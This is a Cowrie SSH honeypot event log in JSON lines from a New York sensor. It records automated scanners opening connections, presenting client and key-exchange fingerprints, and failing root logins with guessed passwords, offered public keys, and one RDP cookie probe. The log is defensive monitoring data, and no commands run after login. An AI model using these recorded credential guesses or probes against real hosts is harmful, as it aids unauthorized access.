{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:09:47.095010Z","src_ip":"170.106.191.31","session":"e5d7967b1051","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":58545,"dst_ip":"10.17.0.5","dst_port":22,"session":"a3c27add9f58","protocol":"ssh","message":"New connection: 167.172.81.52:58545 (10.17.0.5:22) [session: a3c27add9f58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:10:20.464287Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:10:20.469958Z","src_ip":"167.172.81.52","session":"a3c27add9f58","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:10:20.474400Z","src_ip":"167.172.81.52","session":"a3c27add9f58","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.88.137.213","src_port":33553,"dst_ip":"10.17.0.5","dst_port":22,"session":"2349c26b886b","protocol":"ssh","message":"New connection: 102.88.137.213:33553 (10.17.0.5:22) [session: 2349c26b886b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:10:20.897429Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:10:20.902529Z","src_ip":"102.88.137.213","session":"2349c26b886b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:10:21.082574Z","src_ip":"102.88.137.213","session":"2349c26b886b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"military123","message":"login attempt [root/military123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:10:21.832260Z","src_ip":"102.88.137.213","session":"2349c26b886b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:10:23.017375Z","src_ip":"102.88.137.213","session":"2349c26b886b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.191.31","src_port":43800,"dst_ip":"10.17.0.5","dst_port":22,"session":"531d1acce071","protocol":"ssh","message":"New connection: 170.106.191.31:43800 (10.17.0.5:22) [session: 531d1acce071]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:10:52.299044Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:10:52.303017Z","src_ip":"170.106.191.31","session":"531d1acce071","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:10:52.373492Z","src_ip":"170.106.191.31","session":"531d1acce071","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"chiudi","message":"login attempt [root/chiudi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:10:52.678131Z","src_ip":"170.106.191.31","session":"531d1acce071","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:10:53.750211Z","src_ip":"170.106.191.31","session":"531d1acce071","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"144.217.74.127","src_port":59760,"dst_ip":"10.17.0.5","dst_port":22,"session":"fa567a2a3df6","protocol":"ssh","message":"New connection: 144.217.74.127:59760 (10.17.0.5:22) [session: fa567a2a3df6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:11:15.874871Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:11:15.879875Z","src_ip":"144.217.74.127","session":"fa567a2a3df6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:11:15.899429Z","src_ip":"144.217.74.127","session":"fa567a2a3df6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d9:93:a6:78:0a:3d:25:0b:1f:f7:0d:ff:d8:7f:a1:8b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCfgJxsZipY8QH14X7oaesaoiZ7Cn1MjP5po7rnhO5d2mxIkezm+7dFLOpjEv9us1Mq28wq7HiwiQ5d5O04CL3ZirRuTUpNy0y2XbPRiTLFNGPW65mWHlsk5xct84xiECpIsw7sI445At7ZpGZ+RWcvwfTEUkkVIQfzGX3K4bdAdCznmIhAAgddOJ++RdijpUf2N6cDczSBmCcpMWSGFg9JsUP463FIenHyJbSndAYRStU82H8AX+YY2t2JhlybR/DzYbtBJS9P/xZgoc83tzGowHjLfD3keEz3sEMbFIwXAClzkslmOTzzCAkv0hJpRRQ29CHkN8HNwouRqchEinOF","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d9:93:a6:78:0a:3d:25:0b:1f:f7:0d:ff:d8:7f:a1:8b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:11:15.974384Z","src_ip":"144.217.74.127","session":"fa567a2a3df6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d9:93:a6:78:0a:3d:25:0b:1f:f7:0d:ff:d8:7f:a1:8b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCfgJxsZipY8QH14X7oaesaoiZ7Cn1MjP5po7rnhO5d2mxIkezm+7dFLOpjEv9us1Mq28wq7HiwiQ5d5O04CL3ZirRuTUpNy0y2XbPRiTLFNGPW65mWHlsk5xct84xiECpIsw7sI445At7ZpGZ+RWcvwfTEUkkVIQfzGX3K4bdAdCznmIhAAgddOJ++RdijpUf2N6cDczSBmCcpMWSGFg9JsUP463FIenHyJbSndAYRStU82H8AX+YY2t2JhlybR/DzYbtBJS9P/xZgoc83tzGowHjLfD3keEz3sEMbFIwXAClzkslmOTzzCAkv0hJpRRQ29CHkN8HNwouRqchEinOF","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:11:15.978597Z","src_ip":"144.217.74.127","session":"fa567a2a3df6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4f:84:66:65:26:3d:c5:c2:9e:3e:b7:69:02:af:c8:41","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCkBM04OlroJ8B+uN8+6eCWlM8yzG59Mg04qpeX7gUn8Vs4M9+X30e/DynhEKNVuKqV5xdmf3KXcXg5gqMkL9eA7MMxtzuB3+WqAavVrMGEy4WU3lPN5YjgM6GyfPEj9F9Z7ydYTkUzoYsowG4LgP85kVFEFSJn2uH57lCqqqV2AkFctnveyYlRapvX7WtPY/IusJy1RY/wQUbuu1KyTs5PbD3Oyqf5HGP3JKkNqSeAPvfkQ1/mFXc9EYJSNP4hCILts6tFEkwcurBxqaxMW9D1C/HpzBS2s1kmO2E069pgoRSS+/zmJTZ5n0HLj2y1kZJPn6eSkhZSaQjbDON0477arg3v1IeJLYCBUwZtmXrc75L1hw1mJBGic21sBC5ETIwEEYDZ286Lt8WHYup3dXRMurKYIDQbv6sNKYS1tAN8AYzdOHf5tQlZNrIYYRTsDIPK9lWtr6vMEbh2gqaN0XdMKaXL7lhj4iYf94+JlEHgA+0pJrPxj84zXCf48cHZRV/h1IKpnuwlI8K/Nj4z4Fs/Um2EZ1+W0hqrxisWVhrkkJ6dMhzkpe0BXFn1KQo0/0BdvO4KC/1UoLudfIlcAk/rhRLWc5HQelJjRxSVTOdMemtegDPXfuaNLpFxJIljZ3000RWrnppSG5I6aUTiLldwc57y4N4mTxtgR0agTUEMFw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4f:84:66:65:26:3d:c5:c2:9e:3e:b7:69:02:af:c8:41","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:11:15.998198Z","src_ip":"144.217.74.127","session":"fa567a2a3df6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4f:84:66:65:26:3d:c5:c2:9e:3e:b7:69:02:af:c8:41","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCkBM04OlroJ8B+uN8+6eCWlM8yzG59Mg04qpeX7gUn8Vs4M9+X30e/DynhEKNVuKqV5xdmf3KXcXg5gqMkL9eA7MMxtzuB3+WqAavVrMGEy4WU3lPN5YjgM6GyfPEj9F9Z7ydYTkUzoYsowG4LgP85kVFEFSJn2uH57lCqqqV2AkFctnveyYlRapvX7WtPY/IusJy1RY/wQUbuu1KyTs5PbD3Oyqf5HGP3JKkNqSeAPvfkQ1/mFXc9EYJSNP4hCILts6tFEkwcurBxqaxMW9D1C/HpzBS2s1kmO2E069pgoRSS+/zmJTZ5n0HLj2y1kZJPn6eSkhZSaQjbDON0477arg3v1IeJLYCBUwZtmXrc75L1hw1mJBGic21sBC5ETIwEEYDZ286Lt8WHYup3dXRMurKYIDQbv6sNKYS1tAN8AYzdOHf5tQlZNrIYYRTsDIPK9lWtr6vMEbh2gqaN0XdMKaXL7lhj4iYf94+JlEHgA+0pJrPxj84zXCf48cHZRV/h1IKpnuwlI8K/Nj4z4Fs/Um2EZ1+W0hqrxisWVhrkkJ6dMhzkpe0BXFn1KQo0/0BdvO4KC/1UoLudfIlcAk/rhRLWc5HQelJjRxSVTOdMemtegDPXfuaNLpFxJIljZ3000RWrnppSG5I6aUTiLldwc57y4N4mTxtgR0agTUEMFw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:11:16.006761Z","src_ip":"144.217.74.127","session":"fa567a2a3df6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"14:22:84:70:d1:60:e9:ba:5d:92:ff:52:55:22:0b:d7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDX9oY/naOOwkrsl26Sj8HmcUGOSx68CIUJYOyfGkbBzRyQ+2vs0V18JSHaktC26IPa3badffg6LyiueyPN3G1HLMob7kl9Fpdfkx3rZwd8J4ns+eIIvtMhD6L5xNEJpAtLjsgE6fzHnPjTzBvP9vKLpnq1ujwFMofcAk9nHAacdaDffCIvt3ht3hXGlZGksP8M4PNxJXUOFQsbqNOhbYCJLQUpDMuHBc97yOEdybXiT/LwODelqqsX6gzYOZaMSpKzF0va+Y/uzIqsKuMAdApRykZ0C/KWJLkwdvSpL7qkpAbEM/GsJF20gxlWaGng0lxfZ6OUkBslczGSc/Aa30ob","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 14:22:84:70:d1:60:e9:ba:5d:92:ff:52:55:22:0b:d7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:11:16.027780Z","src_ip":"144.217.74.127","session":"fa567a2a3df6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"14:22:84:70:d1:60:e9:ba:5d:92:ff:52:55:22:0b:d7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDX9oY/naOOwkrsl26Sj8HmcUGOSx68CIUJYOyfGkbBzRyQ+2vs0V18JSHaktC26IPa3badffg6LyiueyPN3G1HLMob7kl9Fpdfkx3rZwd8J4ns+eIIvtMhD6L5xNEJpAtLjsgE6fzHnPjTzBvP9vKLpnq1ujwFMofcAk9nHAacdaDffCIvt3ht3hXGlZGksP8M4PNxJXUOFQsbqNOhbYCJLQUpDMuHBc97yOEdybXiT/LwODelqqsX6gzYOZaMSpKzF0va+Y/uzIqsKuMAdApRykZ0C/KWJLkwdvSpL7qkpAbEM/GsJF20gxlWaGng0lxfZ6OUkBslczGSc/Aa30ob","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:11:16.032178Z","src_ip":"144.217.74.127","session":"fa567a2a3df6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4b:70:0d:71:22:18:06:25:a3:66:7d:0f:4e:78:3c:cb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCyzMN2oUHibwuxiOKdwQt2TEBT6YjQl4iUBMLluTDeeWrUZI4swrKj75zBCVNTJa4pNyliyTj1m9scdytg95sAnLZkqyVGo6uLldQJO36SPZjd5iMDUqiNRwnsbh7kPkbu9vnPPHoJn84ELR4r5TugVagOVSrt+nXoSFgmn4OwseMJ2IJJ+NJpnMftqsZtcAZZ32KGsniU1e9J0PFjEqmSY3wIgkBCjP2Sd88h3fPz/ZkhPP3RsVN9kNlLheL2ur4vWlnnMINRKie0kD1hOV0FlrX0Dn86rus/vtiImwozVnU6mGPCvBCgReQiAcuKMyyo/0CIjkmiyKkuGZ9+aXT6DwL1MGVmXm2Vr5lG3UUc2XQ81IIT6GHkw/Sv9RmVUd424LKoad4egGrsY6hx0ENCGIs7oHo9S7Z4/8A+1CVs4rpBNJ38QKPrF4zzSHdPh0F21gQ36LAXPjhHJ0CwNgnKXvwLx0qt6QKwE4LUbyylvH2MRs/rlWzC0U1upIlQPXjboRnCTl9Lsu5+6FMIE/LpqfPJCEf0gAVC2aTUxOCUY2basPFXhJcGMqcafOT7G+l3qQX+MbX56HsgWTao6KZr4PHnVWb5+NZ/boeBEa23GvrbE0uxFBI1S5epSUgMh9m3CQqstQK0s8wTRKLYazacCPdiPB9WEny+fdtzuk8YaQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4b:70:0d:71:22:18:06:25:a3:66:7d:0f:4e:78:3c:cb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:11:16.052298Z","src_ip":"144.217.74.127","session":"fa567a2a3df6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4b:70:0d:71:22:18:06:25:a3:66:7d:0f:4e:78:3c:cb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCyzMN2oUHibwuxiOKdwQt2TEBT6YjQl4iUBMLluTDeeWrUZI4swrKj75zBCVNTJa4pNyliyTj1m9scdytg95sAnLZkqyVGo6uLldQJO36SPZjd5iMDUqiNRwnsbh7kPkbu9vnPPHoJn84ELR4r5TugVagOVSrt+nXoSFgmn4OwseMJ2IJJ+NJpnMftqsZtcAZZ32KGsniU1e9J0PFjEqmSY3wIgkBCjP2Sd88h3fPz/ZkhPP3RsVN9kNlLheL2ur4vWlnnMINRKie0kD1hOV0FlrX0Dn86rus/vtiImwozVnU6mGPCvBCgReQiAcuKMyyo/0CIjkmiyKkuGZ9+aXT6DwL1MGVmXm2Vr5lG3UUc2XQ81IIT6GHkw/Sv9RmVUd424LKoad4egGrsY6hx0ENCGIs7oHo9S7Z4/8A+1CVs4rpBNJ38QKPrF4zzSHdPh0F21gQ36LAXPjhHJ0CwNgnKXvwLx0qt6QKwE4LUbyylvH2MRs/rlWzC0U1upIlQPXjboRnCTl9Lsu5+6FMIE/LpqfPJCEf0gAVC2aTUxOCUY2basPFXhJcGMqcafOT7G+l3qQX+MbX56HsgWTao6KZr4PHnVWb5+NZ/boeBEa23GvrbE0uxFBI1S5epSUgMh9m3CQqstQK0s8wTRKLYazacCPdiPB9WEny+fdtzuk8YaQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:11:16.056282Z","src_ip":"144.217.74.127","session":"fa567a2a3df6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"84:2d:85:00:19:06:eb:bc:cd:75:df:9e:21:8d:a1:9a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDlB+jEFiWJpjR8qGmSVJIHpCi1q3HkbMFmn60asbK6pSZAoABu/pI1lgX55gSL0N+kOoMsvPNcY665P3W7DXedIZ+3eAsZjkwhJsKvY8FNKb7kn6Z3Mfcp4zBalpAzrWWqMW0ewVTrxb/XrKrt8+pM2mCirej7AAd3ZvtEF08vPf3DgNQ5HhdK5g7yyY2fQKnP9SJz1bmVzGbsr8kgNQQIecPICJtAqb/yd/BAZLcAqWUOW0WX/cIES5OiDnrVgYhe4n02J3NiEFXGmPslX5VU0LTiCbOLWboPfY7iDluG5PwCIZdNqqM6+4iWlRHSuUT52O+2Uxmt/d4HMIXmPuyl","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 84:2d:85:00:19:06:eb:bc:cd:75:df:9e:21:8d:a1:9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:11:16.076995Z","src_ip":"144.217.74.127","session":"fa567a2a3df6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"84:2d:85:00:19:06:eb:bc:cd:75:df:9e:21:8d:a1:9a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDlB+jEFiWJpjR8qGmSVJIHpCi1q3HkbMFmn60asbK6pSZAoABu/pI1lgX55gSL0N+kOoMsvPNcY665P3W7DXedIZ+3eAsZjkwhJsKvY8FNKb7kn6Z3Mfcp4zBalpAzrWWqMW0ewVTrxb/XrKrt8+pM2mCirej7AAd3ZvtEF08vPf3DgNQ5HhdK5g7yyY2fQKnP9SJz1bmVzGbsr8kgNQQIecPICJtAqb/yd/BAZLcAqWUOW0WX/cIES5OiDnrVgYhe4n02J3NiEFXGmPslX5VU0LTiCbOLWboPfY7iDluG5PwCIZdNqqM6+4iWlRHSuUT52O+2Uxmt/d4HMIXmPuyl","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:11:16.081352Z","src_ip":"144.217.74.127","session":"fa567a2a3df6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:11:16.131795Z","src_ip":"144.217.74.127","session":"fa567a2a3df6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.56.3","src_port":55738,"dst_ip":"10.17.0.5","dst_port":22,"session":"41bb47ff2d8c","protocol":"ssh","message":"New connection: 103.115.56.3:55738 (10.17.0.5:22) [session: 41bb47ff2d8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:11:24.996995Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:11:25.002475Z","src_ip":"103.115.56.3","session":"41bb47ff2d8c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:11:25.226481Z","src_ip":"103.115.56.3","session":"41bb47ff2d8c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2090","message":"login attempt [root/2090] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:11:25.656830Z","src_ip":"103.115.56.3","session":"41bb47ff2d8c","protocol":"ssh"}
